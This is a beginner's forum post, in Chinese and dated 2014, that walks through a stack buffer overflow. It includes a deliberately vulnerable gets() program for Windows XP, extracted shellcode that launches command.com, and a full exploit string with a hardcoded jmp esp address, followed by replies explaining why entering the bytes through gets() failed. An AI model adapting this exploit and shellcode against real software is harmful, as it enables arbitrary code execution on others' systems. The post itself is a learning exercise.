首页
社区
课程
招聘
[原创]缓冲区溢出入门
发表于: 2014-8-17 17:46 5220

[原创]缓冲区溢出入门

2014-8-17 17:46
5220

利用程序的缓冲区溢出漏洞开Dos窗口

环境:win xp ,VC++6.0

程序源码:
#include <stdlib.h>
//#include <unistd.h>unix里用
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[8];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

根据程序可知当输入的数据超过8字节时会发生溢出
由于modified是int型占4字节,所以构造的shellcode应为 8+4+ebp+(jmp esp)+开Dos窗口字节码

开Dos窗口的代码如下:

#include <windows.h>

int main()
{
        LoadLibrary("msvcrt.dll");
        system("command.com");

        return 0;
}

在VC++6.0里按F10提取字节码如下:
\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0

完整的exploit代码:
#include <string.h>
#include <stdio.h>

char buffer0[]=
"\x41\x41\x41\x41"//8 byte  
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"// modified  (int 4 byte)
"\x41\x41\x41\x41"// ebp
"\x12\x45\xfa\x7f"// jmp esp       
                               
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"// shellcode
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"       
"\xC6\x45\xF6\x56"       
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"       
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";

int main(int argc, char *argv)
{
  volatile int modified;

  char buffer[8];
  modified = 0;
  //gets(buffer);
  strcpy(buffer,buffer0);
  if(modified != 0)
    printf("you have changed the 'modified' variable\n");
  else
    printf("Try again?\n");
}

编译运行后Dos窗口就会弹出啦!!!很简单吧


不过不知道为什么当使用gets函数手动输入shellcode时,没有弹出Dos窗口


还望各位大神指点迷津!!!


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (15)
雪    币: 185
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
因为gets 是直接读的字符。。。不是十六进制啊。。。
2014-8-17 18:59
0
雪    币: 13
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
额……原来是这样啊,膜拜大牛!!!
2014-8-17 20:01
0
雪    币: 11075
活跃值: (17602)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
路过,学习一下经验啊,多谢了
2014-8-17 21:31
0
雪    币: 13
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
我也是刚学,还有好多不懂的地方
2014-8-17 21:50
0
雪    币: 3171
活跃值: (76)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
6
你gets手动输入的时候不能输入\X这种格式,而是真正的shellcode的字符,这个可能包含不可见字符 是没办法用键盘输入的,要gets \X就得对gets进去的buffer进行转换。
2014-8-18 12:05
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
7
希望楼主继续努力
2014-8-18 16:24
0
雪    币: 1784
活跃值: (512)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
8
推荐楼主看一下《Q版缓冲区溢出教程》,缓冲区基础方面讲的挺详细的,新手共勉
2014-8-18 20:15
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
呵呵   学习了   算是入门吧
2014-8-18 23:22
0
雪    币: 49
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
新人路过,学习经验,希望论坛各位大牛多多指点
2014-8-19 11:40
0
雪    币: 13
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
多谢大牛提点!!!
2014-8-19 19:16
0
雪    币: 13
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
正在研究中……
2014-8-19 19:18
0
雪    币: 13
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
大牛
2014-8-19 19:19
0
雪    币: 1784
活跃值: (512)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
14
加油么么哒~
2014-8-19 20:07
0
雪    币: 1555
活跃值: (3103)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
15
0day2 也不错 Q版 有些老了
2014-8-21 13:09
0
雪    币: 22
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
可以学习一下
2014-8-23 19:34
0
游客
登录 | 注册 方可回帖
返回
//